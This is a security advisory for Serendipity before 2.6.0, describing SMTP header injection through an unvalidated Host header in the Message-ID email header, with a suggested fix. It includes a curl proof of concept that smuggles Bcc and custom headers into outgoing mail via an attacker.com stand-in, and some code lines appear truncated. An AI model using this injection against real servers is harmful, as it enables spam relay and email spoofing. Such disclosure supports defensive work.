GHSA-458g-q4fh-mj6r Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header

• Packagist s9y/serendipity: < 2.6.0 → fixed in 2.6.0

Summary Serendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing. Details In `include/functions.inc.php:548`: ```php $maildata['headers'][] = 'Message-ID: '; ``` The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); } ``` Critically, `serendipity_isResponseClean()` is not even called on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter. Email is triggered by actions such as: • New comment notifications to blog owner • Comment subscription notifications to subscribers • Password reset emails (if configured) PoC ```bash Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: [email protected]\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email][email protected]&serendipity[entry_id]=1" \ http://[TARGET]/comment.php ``` Resulting malicious `Message-ID` header in outgoing email: ``` Message-ID: Bcc: [email protected] X-Injected: > ``` Impact An attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables: • Identity spoofing — emails appear to originate from attacker-controlled domain • Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure • Email reputation abuse — attacker's domain embedded in legitimate mail headers Suggested Fix Sanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only: ```php $safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST) ); $maildata['headers'][] = 'Message-ID: '; ```